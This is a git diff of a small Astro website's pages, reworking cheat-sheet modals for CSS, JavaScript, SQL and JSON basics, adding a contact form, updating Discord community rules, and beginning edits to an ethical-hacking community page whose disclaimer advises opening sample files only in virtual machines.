-                h1, h4, h6, h2 &lbrace;
-                &nbsp;&nbsp;color&colon; red;
-                &rbrace;</code></p>
-              </div>
-              <div id="classes-7">
-                <h4>Classes</h4>
-                <p>Think of classes like custom HTML elements, they can be applied in html like <code>&lt;p class="text-red"&gt;</code></p>
-                <p>Classes begin with a dot or period (.) to begin the selector.</p>
-                <p>
-                  <code>
-                    .text-red &lbrace;<be>
-                    &nbsp;&nbsp;color&colon; red;<be>
-                    &rbrace;
-                  </code>
-                </p>
+              <div id="query-9">
+                <h3>Querying Data from a Table</h3>
+                <p>Query Data in Columns c1, c2 from a Table</p>
+<pre><code>
+SELECT c1, c2 FROM t;
+</code></pre><br><br>
+                <p>Query All Rows and Columns from a Table</p>
+<pre><code>SELECT * FROM t;</code></pre><br><br>
+                <p>Query Data and Filter Rows with a Condition</p>
+<pre><code>
+SELECT c1, c2 FROM t
+WHERE condition;
+</code></pre><br><br>
+                <p>Query Distinct Rows from a Table</p>
+<pre><code>
+SELECT DISTINCT c1 FROM t
+WHERE condition;
+</code></pre><br><br>
+                <p>Sort the Result Set in Ascending or Descending Order</p>
+<pre><code>
+SELECT c1, c2 FROM t<br>
+ORDER BY c1 ASC [DESC];
+</code></pre><br><br>
+                <p>Skip Offset of Rows and Return the Next n Rows</p>
+<pre><code>
+SELECT c1, c2 FROM t
+ORDER BY c1
+LIMIT n OFFSET offset;
+</code></pre><br><br>
+                <p>Group Rows using an Aggregate Function</p>
+<pre><code>
+SELECT c1, aggregate(c2)
+FROM t
+GROUP BY c1;
+</code></pre><br><br>
+                <p>Filter Groups using <b>Having</b> Clause</p>
+<pre><code>
+SELECT c1, aggregate(c2)
+FROM t
+GROUP BY c1
+HAVING condition;
+</code></pre><br><br>
               </div>
-              <div id="text-7">
-                <h4>Text Elements</h4><p>
-                <code>font-size&colon; 10px;</code> - Text size, can be in pixels.<br>
-                <code>font-family&colon; verdana;</code> - Fonts<br>
-                <code>text-align&colon; center;</code> - Can align to the left side, right side, or in the center of the webpage. <br>
-                <code>text-shadow&colon; 3px black</code> - Shadow of text. It can be in pixels and colors.
-                </p>
+              <div id="mod-9">
+                <h3>Modifying Data</h3>
+                <p>Insert One Row into a Table</p>
+<pre><code>
+INSERT INTO t(column_list)
+VALUES(value_list);
+</code></pre><br><br>
+                <p>Insert Multiple Rows into a Table</p>
+<pre><code>
+INSERT INTO t(column_list)<br>
+VALUES (value_list),
+(value_list), …;
+</code></pre><br><br>
+                <p>Insert Rows from t2 into t1</p>
+<pre><code>
+INSERT INTO t1(column_list)
+SELECT column_list
+FROM t2;
+</code></pre><br><br>
+                <p>Update New Value in the Column c1 for All Rows</p>
+<pre><code>
+UPDATE t
+SET c1 = new_value;
+</code></pre><br><br>
+                <p>Update Values in the Column c1, c2 that Match the Condition</p>
+<pre><code>
+UPDATE t
+SET c1 = new_value,
+c2 = new_value
+WHERE condition;
+</code></pre><br><br>
+                <p>Delete All Data in a Table</p>
+<pre><code>DELETE FROM t;</code></pre>
+                <p>Delete Subset of Rows in a Table</p>
+<pre><code>
+DELETE FROM t
+WHERE condition;
+</code></pre><br><br>
               </div>
-              <div id="pad-7">
-                <h4>Padding Elements</h4>
-                <p>
-                <code>padding-top&colon; 50px;</code> - Separation. It can be top, left, right, and bottom in pixels.<br>
-                <code>margin&colon; 50px;</code> - A margin. It can be in pixels.<br>
-                <code>border-width&colon; 5px;</code> - Border width. Can be thin, medium, thick, or just pixels.<br>
-                <code>border-style&colon; dotted;</code> - Border style. Can be dotted, dashed, solid, double, groove, ridge, inset, outset, none, or hidden. Can also be colored.<br>
-                <code>width=500px;</code> - Width of the element. It can be pixels or percentages.</p>
-              </div>
-              <div id="color-7">
-                <h4>Color Elements</h4>
-                <p><code>color&colon; red;</code> - The color of the element, can be hexadecimal, or RGB.<br>
-                <code>background-color&colon; white;</code> - Background color of the element.</p>
-              </div>
-              <div id="com-7">
-                <h4>Comments</h4>
-                <p>Comments are commonly used to explain the code and may help when you edit the source code later and are ignored by browsers.
-                <br><br>
-                A CSS comment starts with <code>/*</code> and ends with <code>*/</code>, and no changes are needed to make it multiple lines.</p>
-                <p> 
-                  <code>
-                    /* This is a single-line comment */<br><br>
-                    /* This is<br>
-                    a multi-line<br>
-                    comment */
-                  </code>
-                </p>
-              </div>
-              <div id="eci-7">
-                <h4>Extra: Centering Images</h4>
-                <p><code>img &lbrace;<br>
-                &nbsp;&nbsp;margin&colon; 0 auto;<br>
-                &nbsp;&nbsp;display&colon; block;<br>
-                &rbrace;</code></p>
+              <div id="table-9">
+                <h3>Table Management</h3>
+                <p>Create a new Table with Three Columns</p>
+<pre>
+<code>
+CREATE TABLE t (
+  id INT PRIMARY KEY,
+  name VARCHAR NOT NULL,
+  price INT DEFAULT 0
+);<br>
+</code></pre><br><br>
+                <p>Delete the Table from the Database</p>
+<pre><code>DROP TABLE t ;</code></pre><br><br>
+                <p>Add a new Column to the Table</p>
+<pre><code>ALTER TABLE t ADD column;</code></pre><br><br>
+                <p>Drop Column c from the Table</p>
+<pre><code>ALTER TABLE t DROP COLUMN c ;</code></pre><br><br>
+                <p>Add a Constraint</p>
+<pre><code>ALTER TABLE t ADD constraint;</code></pre><br><br>
+                <p>Drop a Constraint</p>
+<pre><code>ALTER TABLE t DROP constraint;</code></pre><br><br>
+                <p>Rename a Table from t1 to t2</p>
+<pre><code>ALTER TABLE t1 RENAME TO t2;</code></pre><br><br>
+                <p>Rename Column c1 to c2</p>
+<pre><code>ALTER TABLE t1 RENAME c1 TO c2 ;</code></pre><br><br>
+                <p>Remove all Data in a Table</p>
+<pre><code>TRUNCATE TABLE t;</code></pre>
               </div>
             </Fragment>
           </Scrollspy>
         </Fragment>
       </Modal>
-      <Modal title="JavaScript Basics" id="js">
+      <Modal title="JSON Basics" id="json">
         <Fragment slot="modal-content">
-          <Scrollspy id="js-basics-list"
-          scrollcontent={[
-            { name: "Including JavaScript in an HTML Page", href: "#html-8" },
-            { name: "Call an External JavaScript File", href: "#call-8" },
-            { name: "Including Comments", href: "#com-8" },
-            { name: "Variables", href: "#var-8" },
-            { name: "Data Types", href: "data-8" },
-          ]}
+          <Scrollspy id="json-basics-list"
+            scrollcontent={[
+              { name: "Example Documents", href: "#example-10" },
+              { name: "Importing JSON", href: "#import-10" },
+            ]}
           >
             <Fragment slot="scrollspy-content">
-              <div id="html-8">
-                <h4>Including JavaScript in an HTML Page</h4>
-                <p>
-                  <code>
-                    &lt;script type="text/javascript"&gt; <br>
-                    //JS code goes here <br>
-                    &lt;/script&gt; 
-                  </code>
-                </p>
-              </div>
-              <div id="call-8">
-                <h4>Call an External JavaScript File</h4>
-                <p> <code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code></p>
-              </div>
-              <div id="com-8">
-                <h4>Including Comments</h4>
-                <p>Single line comments - <code>// Comment</code> <br>
-                Multi-line comments - <code>/* comment here */</code></p>
-              </div>
-              <div id="var-8">
-                <h4>Variables</h4>
-                <p>
-                <code>var, const, let</code><br>
-                <code>var</code> — The most common variable. It can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
-                <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
-                <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
-                </p>
+              <div id="example-10">
+                <h3>Example Document</h3>
+<pre>
+<code>
+&lbrace;
+  "foo"&colon; "bar",
+  "array"&colon; [
+  "foo",
+  "bar"
+  ]
+&rbrace;
+</code>
+</pre>
+                <p>All JSON files are surrounded by &lbrace; and &rbrace;, which means it is a object. Unlike Javascript, you must use double quotes (") for strings, not singular quotes (')</p>
               </div>
-              <div id="data-8">
-                <h4>Data Types</h4>
-                <p>
-                Numbers — <code>var age = 23</code> <br>
-                Variables — <code>var x</code><br>
-                Text (strings) — <code>var a = "init"</code><br>
-                Operations — <code>var b = 1 + 2 + 3</code><br>
-                True or false statements — <code>var c = true</code><br>
-                Constant numbers — <code>const PI = 3.14</code><br>
-                Constant numbers — <code>const PI = 3.14</code><br>
-                Objects — <code>var name = &lbrace;firstName&colon; "John", lastName&colon; "Doe"&rbrace;</code>
-                </p>
-
-                <p><b>Objects Example</b> <br>
-                  <code>
-                    var person = &lbrace;<br>
-                    &nbsp;&nbsp;firstName&colon; "John",<br>
-                    &nbsp;&nbsp;lastName&colon; "Doe",<br>
-                    &nbsp;&nbsp;age&colon; 20,<br>
-                    &nbsp;&nbsp;nationality&colon; "American"<br>
-                    &rbrace;
-                  </code>
-                </p>
+              <div id="import-10">
+                <h3>Importing JSON</h3>
+                <table class="table table-hover mb-2">
+                  <tbody>
+                  <tr>
+                    <th scope="row">JavaScript</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">fetch('example.json')</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">Node.js</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import('./example.json')</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">TypeScript + Node.js</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import data from 'example.json'</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">Python</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import 'json'; with open('data.json', 'r') as f: data = json.load(f)</code></pre></td>
+                  </tr>
+                  </tbody>
+                </table>
               </div>
             </Fragment>
           </Scrollspy>
         </Fragment>
       </Modal>
-      <Modal title="SQL Basics" id="sql"><Fragment slot="modal-content">
-        <Scrollspy id="sql-basics-list"
-        scrollcontent={[
-          { name: "Querying Data from a Tablem", href: "#query-9" },
-          { name: "Modifying Data", href: "#mod-9" },
-          { name: "Table Management", href: "#table-9" },
-        ]}
-        >
-          <Fragment slot="scrollspy-content">
-            <div id="query-9">
-              <h4>Querying Data from a Table</h4>
-              <p>Query Data in Columns c1, c2 from a Table</p>
-              <code>
-              SELECT c1, c2 FROM t;<br>
-              Code language: SQL (Structured Query Language) (SQL)
-              </code><br><br>
-              <p>Query All Rows and Columns from a Table</p>
-              <code>SELECT * FROM t;</code><br><br>
-              <p>Query Data and Filter Rows with a Condition</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              WHERE condition;
-              </code><br><br>
-              <p>Query Distinct Rows from a Table</p>
-              <code>
-              SELECT DISTINCT c1 FROM t<br>
-              WHERE condition;
-              </code><br><br>
-              <p>Sort the Result Set in Ascending or Descending Order</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              ORDER BY c1 ASC [DESC];
-              </code><br><br>
-              <p>Skip Offset of Rows and Return the Next n Rows</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              ORDER BY c1<br>
-              LIMIT n OFFSET offset;
-              </code><br><br>
-              <p>Group Rows using an Aggregate Function</p>
-              <code>
-              SELECT c1, aggregate(c2)<br>
-              FROM t<br>
-              GROUP BY c1;
-              </code><br><br>
-              <p>Filter Groups using <b>Having</b> Clause</p>
-              <code>
-              SELECT c1, aggregate(c2)<br>
-              FROM t<br>
-              GROUP BY c1<br>
-              HAVING condition;
-              </code><br><br>
-            </div>
-            <div id="mod-9">
-              <h4>Modifying Data</h4>
-              <p>Insert One Row into a Table</p>
-              <code>
-              INSERT INTO t(column_list)<br>
-              VALUES(value_list);
-              </code><br><br>
-              <p>Insert Multiple Rows into a Table</p>
-              <code>
-              INSERT INTO t(column_list)<br>
-              VALUES (value_list), <br>
-              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(value_list), …;
-              </code><br><br>
-              <p>Insert Rows from t2 into t1</p>
-              <code>
-              INSERT INTO t1(column_list)<br>
-              SELECT column_list<br>
-              FROM t2;
-              </code><br><br>
-              <p>Update New Value in the Column c1 for All Rows</p>
-              <code>
-              UPDATE t<br>
-              SET c1 = new_value;
-              </code><br><br>
-              <p>Update Values in the Column c1, c2 that Match the Condition</p>
-              <code>
-              UPDATE t
-              SET c1 = new_value, <br>
-              &nbsp;&nbsp;&nbsp;&nbsp;c2 = new_value<br>
-              WHERE condition;
-              </code><br><br>
-              <p>Delete All Data in a Table</p>
-              <code>DELETE FROM t;</code>
-              <p>Delete Subset of Rows in a Table</p>
-              <code>
-              DELETE FROM t<br>
-              WHERE condition;
-              </code><br><br>
-            </div>
-            <div id="table-9">
-              <h4>Table Management</h4>
-              <p>Create a new Table with Three Columns</p>
-              <code>
-              CREATE TABLE t (<br>
-              &nbsp;&nbsp;id INT PRIMARY KEY,<br>
-              &nbsp;&nbsp;name VARCHAR NOT NULL,<br>
-              &nbsp;&nbsp;price INT DEFAULT 0<br>
-              );<br>
-              </code><br><br>
-              <p>Delete the Table from the Database</p>
-              <code>DROP TABLE t ;</code><br><br>
-              <p>Add a new Column to the Table</p>
-              <code>ALTER TABLE t ADD column;</code><br><br>
-              <p>Drop Column c from the Table</p>
-              <code>ALTER TABLE t DROP COLUMN c ;</code><br><br>
-              <p>Add a Constraint</p>
-              <code>ALTER TABLE t ADD constraint;</code><br><br>
-              <p>Drop a Constraint</p>
-              <code>ALTER TABLE t DROP constraint;</code><br><br>
-              <p>Rename a Table from t1 to t2</p>
-              <code>ALTER TABLE t1 RENAME TO t2;</code><br><br>
-              <p>Rename Column c1 to c2</p>
-              <code>ALTER TABLE t1 RENAME c1 TO c2 ;</code><br><br>
-              <p>Remove all Data in a Table</p>
-              <code>TRUNCATE TABLE t;</code>
-            </div>
-          </Fragment>
-        </Scrollspy>
-      </Fragment>
-    </Modal>
-    <Modal title="JSON Basics" id="json">
-      <Fragment slot="modal-content">
-        <Scrollspy id="json-basics-list"
-          scrollcontent={[
-            { name: "Example Documents", href: "#example-10" },
-            { name: "Importing JSON", href: "#import-10" },
-          ]}
-        >
-          <Fragment slot="scrollspy-content">
-            <div id="example-10">
-              <h4>Example Document</h4>
-              <code>
-              &lbrace;<br>
-              &nbsp;&nbsp;"foo"&colon; "bar",<br>
-              &nbsp;&nbsp;"array"&colon; [<br>
-              &nbsp;&nbsp;&nbsp;&nbsp;"foo",<br>
-              &nbsp;&nbsp;&nbsp;&nbsp;"bar"<br>
-              &nbsp;&nbsp;]<br>
-              &rbrace;
-              </code><br><br>
-              <p>All JSON files are surrounded by &lbrace; and &rbrace;, which means it is a object. Unlike Javascript, you must use double quotes (") for strings, not singular quotes (')</p>
-            </div>
-            <div id="import-10">
-              <h4>Importing JSON</h4>
-              <table class="table table-hover mb-1">
-                <tbody>
-                <tr>
-                  <th scope="row">JavaScript</th>
-                  <td class="text-break"><code class="position-static">fetch('example.json')</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">Node.js</th>
-                  <td class="text-break"><code class="position-static">import('./example.json')</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">TypeScript + Node.js</th>
-                  <td class="text-break"><code class="position-static">import data from 'example.json'</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">Python</th>
-                  <td class="text-break"><code class="position-static">import 'json'; with open('data.json', 'r') as f: data = json.load(f)</code></td>
-                </tr>
-                </tbody>
-              </table>
-            </div>
-          </Fragment>
-        </Scrollspy>
-      </Fragment>
-    </Modal>
-  </main>
-  <Footer author="Alex Toucan & CodingLive" />
+    </main>
+    <Footer author="Alex Toucan & CodingLive" />
+  </div>
   <BackToTop />
 </div>
-<Scripts modal="true" />
+<Scripts highlight="true" modal="true" accordion="true" scrollspy="true" />
diff --git a/src/pages/contact/index.astro b/src/pages/contact/index.astro
new file mode 100644
index 000000000..3d4a3fd07
--- /dev/null
+++ b/src/pages/contact/index.astro
@@ -0,0 +1,49 @@
+---
+import Head from '../../layouts/Head.astro';
+import Scripts from '../../layouts/Scripts.astro';
+import Navbar    from '../../components/Navbar.astro';
+import Footer    from '../../components/Footer.astro';
+import BackToTop from '../../components/BackToTop.astro';
+---
+
+<Head title="Contact Form" description="If you don't want to email us on your email client, use this instead. We'll reach out to your email provided." author="Alex Toucan"/>
+<div id="page">
+  <Navbar />
+  <div id="main-content">
+    <main id="form" class="container">
+      <h1 class="title">Contact Form</h1>
+      <p>You may either use this or <a href="mailto:support@atproducts.xyz">email us manually</a>. You can use this instead if you don't want to email us on your email client. We'll make sure to reach out to the email address provided. <strong>Your IP address gets logged upon submitting</strong>, please view the <a href="/privacy#ip">Privacy Policy</a> for more information.</p>
+      <form
+      name="Contact Form" 
+      action="/form/success"
+      method="POST"
+      data-netlify="true"
+      enctype="multipart/form-data"
+      >
+        <div class="d-sm-flex gap-2">
+          <div class="col">
+            <div class="mb-3">
+              <label for="nameInput" class="form-label fw-bold">Name</label>
+              <input name="name" class="form-control" id="nameInput" placeholder="John Doe" required>
+          </div>
+          </div>
+          <div class="col">
+            <div class="mb-3">
+              <label for="emailInput" class="form-label fw-bold">Email address</label>
+              <input name="Email" type="email" class="form-control" id="emailInput" placeholder="name@example.com" required>
+            </div>
+          </div>
+        </div>
+        <div class="mb-2">
+          <label for="textareaInput" class="form-label fw-bold">Information to Send</label>
+          <textarea name="Text" class="form-control" id="textareaInput" rows="3" required></textarea>
+        </div>
+        <small>If you wish to upload files, you must <a href="mailto:support@atproducts.xyz">email us manually</a> due to Netlify complications. Please allow 72 hours for a response back to your email provided. If your response is considered spam, it may not be responded to.</small>
+        <button type="submit" class="mt-2 btn btn-lg btn-primary col-12">Send</button>
+      </form>
+    </main>
+  <Footer />
+  </div>
+<BackToTop />
+</div>
+<Scripts />
diff --git a/src/pages/contact/success.astro b/src/pages/contact/success.astro
new file mode 100644
index 000000000..b912423e0
--- /dev/null
+++ b/src/pages/contact/success.astro
@@ -0,0 +1,25 @@
+---
+import Head from '../../layouts/Head.astro';
+import Scripts from '../../layouts/Scripts.astro';
+import Navbar    from '../../components/Navbar.astro';
+import Footer    from '../../components/Footer.astro';
+import BackToTop from '../../components/BackToTop.astro';
+---
+
+<Head title="Success - Contact Form" description="We got your submission successfully!" author="Alex Toucan"/>
+<div id="page">
+      <div id="main-content">
+            <Navbar />
+                <main id="success" class="container text-center my-4">
+                  <i class="bi bi-check-lg fs-16 text-body-secondary"></i>
+                  <p class="mt-3 text-body-secondary fs-2">Thanks for your submission, we'll reach out to you soon.</p>
+                  <a class="icon-link icon-link-hover fs-5" href="/">Return to the Index page
+                  <i class="bi bi-arrow-right h-100"></i></a>
+            <hr class="mx-2 mt-5">
+                  <p class="figure-caption">Reloading this page may resubmit what you previously submitted.</p>
+                </main>
+            <Footer />
+      </div>
+      <BackToTop />
+</div>
+<Scripts />
diff --git a/src/pages/discord.astro b/src/pages/discord.astro
index 68f34428b..3bb0d5532 100644
--- a/src/pages/discord.astro
+++ b/src/pages/discord.astro
@@ -9,52 +9,54 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="ATP's Discord Rules" description="Our rules towards Discord Servers." author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="discord-rules" class="container">
-    <h1 class="title"> ATP's Discord Rules </h1>
-    <h5> Last Updated: <time>April 2nd, 2024</time>. </h5>
-    <h5> Into Effect: <time>April 3rd, 2024</time>. </h5>
-    <p>
-      <a href="https://discord.com/terms">Discord ToS</a>
-    </p>
-    <p>
-      <a href="https://discord.com/guidelines">Discord Community Guidelines</a>
-    </p>
-    <div id="definition">
-      <h3> Definitions </h3>
-      <p> <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
-      <br> <b>Servers/Communities:</b> The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace.<be>
-      <br> <b>Services:</b> Read the <a href="https://beta.atproducts.xyz/paidterms/">Paid Services & Website Creation Policies and Terms</a> for more information. <br>
-      <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
-    </div>
-    <div id="discord-tos">
-      <h3>I: Discord ToS</h3>
-      <p> This section is reserved for the <a href="https://discord.com/terms">Discord ToS</a> and <a href="https://discord.com/guidelines">Discord Community Guidelines</a>. Please look at the two web pages for full Discord Guidelines. <br>
-        <br> The following rules will be enforced: It is currently enforced to be 13 and over due to US law. Any partially illegal activity will be taken seriously. Non-ethical hacking (meaning illegal hacking), such as phishing, DDOS, token theft, malware distribution, and other non-ethical hacking techniques, is strictly prohibited and exclusive to our website. Regarding coding/ethical hacking, do not distribute or provide access to content involving hacking, cracking, distribution of stolen goods, pirated content, or accounts. Any full or partial violation of the <a href="https://discord.com/terms">Discord ToS</a> and the <a href="https://discord.com/guidelines">Discord Community Guidelines</a> will result in an instant ban on all of our Discord Servers.
+  <div id="main-content">
+    <main id="discord-rules" class="container">
+      <h1 class="title"> ATP's Discord Rules </h1>
+      <h5> Last Updated: <time>October 2nd, 2024</time>. </h5>
+      <h5> Into Effect: <time>October 10th, 2024</time>. </h5>
+      <p>
+        <a href="https://discord.com/terms">Discord ToS</a>
+        <br>
+        <a href="https://discord.com/guidelines">Discord Community Guidelines</a>
       </p>
-    </div>
-    <div id="our-tos">
-      <h3>II: Our Discord Server Rules</h3>
-      <p> This section is reserved for our rules to use our Discord Servers. Minor violations will result in a mute/warning. Major violations will result in a kick/ban. <br>
-        <br> We take the Discord TOS seriously, and any minor or major violation will result in a permanent ban from any AT Products Servers, but not Services. <br>
-        <be> Some Discord Servers within AT Products's Family of Services and Products may have different community rules. So let alone our Discord Rules document, and the extra rules We may have in other Servers, will be taken in place as the rules to be in our Discord communities and Servers. <br>
-        <br> Please have respect for our members. Bullying, being toxic, causing drama, or any intentional mental and/or emotional harm towards our members is completely prohibited and will be taken seriously. <br>
-        <br> NSFW matters in some Servers. If there are no NSFW channels, do not post any NSFW. If there is an NSFW channel or more, post NSFW there as NSFW could apply to pornography only, as gore, child porn, and bestiality are completely prohibited as it is against US law. 18 is the age of consent in the US and will apply to any AT Products's Services, regardless of local regulations. <br>
-        <br> Discriminatory behavior, including homophobia, transphobia, racism, sexism, or any other form of discrimination towards individuals, will not be tolerated and will result in disciplinary action. If already known to engage in such behaviors, individuals will be banned beforehand. Failure to comply with our rules will lead to a ban. <br>
-        <br> Zoophilia, pedophilia, necrophilia, and any other forms of illegal behavior with/without paraphilias, such as exploitation of minors/animals, will not be tolerated under any circumstances. Any such activity will result in an instant ban if mentioned in any form and may be reported to Discord staff, law enforcement authorities, and/or the National Center for Exploited and Missing Children respectively. Any other sexual attractions that are not necessarily illegal (paraphilia) should not be shared and also will result in an instant ban if mentioned in any form. <br>
-        <br> Raiding will be taken seriously as it violates Discord TOS (also in exploits), and Your whole Server/anyone involved will be permanently banned from any AT Products Servers, and Services. <br>
-        <br> Evading a ban may result in an IP termination and Your privilege of appealing will be revoked. Any alternative accounts are prohibited if You are banned. <br>
-        <br> If You engage in unlawful activities such as bestiality or pedophilia, You will be banned immediately, and preemptive bans may be applied if such behavior is reported or suspected. <br>
-        <br> Any hackers that threaten AT Products or its affiliates will be banned from all Servers and Services. Those already known as hackers will be banned beforehand for our safety.
-      </p>
-    </div>
-    <div id="acceptance">
-      <h3> III: Acceptance</h3>
-      <p> Upon visiting and joining any of our Servers, You signify Your agreement to the following rules. If You violate any section of the Discord Rules, we reserve the right to revoke Your privileges and ability to use what we provide of Services and Servers. <br>
-        <br> We reserve the right, at our sole discretion, to modify or replace these rules at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new rules take effect. A sufficient revision is determined at our sole discretion.
-      </p>
-    </div>
-  </main>
-  <Footer />
+      <div id="definition">
+        <h3> Definitions </h3>
+        <p> <b>Website:</b> <a href="https://atproducts.xyz">atproducts.xyz</a>
+        <br> <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
+        <br> <b>Server(s)/Communities:</b> The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace.<br>
+        <br> <b>Services:</b> Read the <a href="https://beta.atproducts.xyz/paidterms/">Paid Services & Website Creation Policies and Terms</a> for more information. <br>
+        <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
+      </div>
+      <div id="discord-tos">
+        <h3>I: Discord ToS</h3>
+        <p> This section is reserved for the <a href="https://discord.com/terms">Discord ToS</a> and <a href="https://discord.com/guidelines">Discord Community Guidelines</a>. Please look at the two web pages for full Discord Guidelines. <br>
+          <br> The following rules will be enforced: It is currently enforced to be 13 and over due to US law. Any partially illegal activity will be taken seriously. Non-ethical hacking (meaning illegal hacking), such as phishing, DDOS, token theft, malware distribution, and other non-ethical hacking techniques, is strictly prohibited and only ethical hacking is exclusive to our Website. Regarding coding/ethical hacking, do not distribute or provide access to content involving hacking, cracking, distribution of stolen goods, pirated content, or accounts. Any full or partial violation of the <a href="https://discord.com/terms">Discord ToS</a> and the <a href="https://discord.com/guidelines">Discord Community Guidelines</a> will result in an instant ban on all of our Discord Servers.
+        </p>
+      </div>
+      <div id="our-tos">
+        <h3>II: Our Discord Server Rules</h3>
+        <p> This section is reserved for our rules to use our Discord Servers. Typical punishments in our servers are as follows: minor violations will result in a mute/warning, and major violations will result in a kick/ban. Rules and policies may be different in some servers and may not be outlined in this policy. <br>
+          <br> We take the Discord TOS seriously, and any minor or major violation will result in a permanent ban from any AT Products LLC's Servers, but not Services. <br>
+          <br> Some Discord Servers within AT Products LLC's Family of Services and Products may have different community rules. So let alone our Discord Rules document, and the extra rules We may have in other Servers, will be taken in place as the rules to be in our Discord communities and Servers. <br>
+          <br> Please have respect for our members. Bullying, being toxic, causing drama, or any intentional mental and/or emotional harm towards our members is completely prohibited and will be taken seriously. <br>
+          <br> NSFW matters in some Servers. If there are no NSFW channels, do not post any NSFW. If there is an NSFW channel or more, post NSFW there as NSFW could apply to pornography only, as gore, child porn, and bestiality are completely prohibited as it is against US law. 18 is the age of consent in the US and will apply to any AT Products LLC's Services, regardless of local regulations. <br>
+          <br> Discriminatory behavior, including homophobia, transphobia, racism, sexism, or any other form of discrimination towards individuals, will not be tolerated and will result in disciplinary action. If already known to engage in such behaviors, individuals will be banned beforehand. Failure to comply with our rules will lead to a ban (dependent on the Server's policy). <br>
+          <br> Zoophilia, pedophilia, necrophilia, and any other forms of illegal behavior with/without paraphilias, such as exploitation of minors/animals, will not be tolerated under any circumstances. Any such activity will result in an instant ban if mentioned in any form and may be reported to Discord staff, law enforcement authorities, and/or the <a href="https://www.missingkids.org/HOME">National Center for Exploited and Missing Children</a> respectively. Any other sexual attractions (even if they are not necessarily illegal) shall not be shared and also will result in a punishment (dependent on the Server's policy) if mentioned in any form. <br>
+          <br> Raiding will be taken seriously as it violates Discord TOS (also in exploits), and Your whole Server/anyone involved will be permanently banned from any AT Products Servers, and Services. <br>
+          <br> Evading a ban may result in an IP termination and Your privilege of appealing will be revoked (if the Server allows for appeals). Any alternative accounts are prohibited if You are banned. <br>
+          <br> If You engage in unlawful activities such as bestiality or pedophilia, You will be banned immediately, and preemptive bans may be applied if such behavior is reported or suspected. <br>
+          <br> Any person that threatens AT Products LLC or its affiliates with exploiting or hacking will be banned from all Servers and Services. Those already known as exploiters or (blackhat) hackers may be banned (dependent on the Server's policy) beforehand for our safety.
+        </p>
+      </div>
+      <div id="acceptance">
+        <h3> III: Acceptance</h3>
+        <p> Upon visiting and joining any of our Servers, You signify Your agreement to the following rules. If You violate any section of the Discord Rules, we reserve the right to revoke Your privileges and ability to use what we provide of Services and Servers. <br>
+          <br> We reserve the right, at our sole discretion, to modify or replace these rules at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new rules take effect. A sufficient revision is determined at our sole discretion.
+        </p>
+      </div>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/ehs.astro b/src/pages/ehs.astro
index 9516aedd1..3abec71b7 100644
--- a/src/pages/ehs.astro
+++ b/src/pages/ehs.astro
@@ -12,177 +12,179 @@ import BackToTop from '../components/BackToTop.astro';
 <div id="page">
   <Navbar />
   <div class="alert alert-dark mb-0" role="alert"> This is an inactive community. Expect no new sections or changes without special exceptions. </div>
-  <Hero id="ehs" title="Ethical Hacking Society" description="The Ethical Hacking Society is about ethical hacking as a whole." 
-    buttons={[
-      { href: "https://discord.gg/yCnteHexEs", text: "Discord Server Invite", type: "primary" },
-      { href: "/backup/ehs", text: "View the all laid out format", type: "secondary" },
-    ]},
-    icons={[
-        { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/zPdxVST5VU" },
-        { icon: "discord", desc: "Anti Vegans", href: "https://discord.gg/yCnteHexEs" },
-    ]},
-  />
-  <main id="ehs" class="mt-3 text-center container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
-        <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
-        <br> If it's an APK file, use an emulator. <br>
-        <br>
-        <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
-        <br>
-        <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-      </p>
-    </div>
-    <hr>
-    <div id="resources" class="text-center">
-      <h2> Resources </h4>
-        <p> What do you want to know about today? </p>
-        <Modal title="Slammer" id="slammer">
-          <Fragment slot="modal-content">
-            <p>
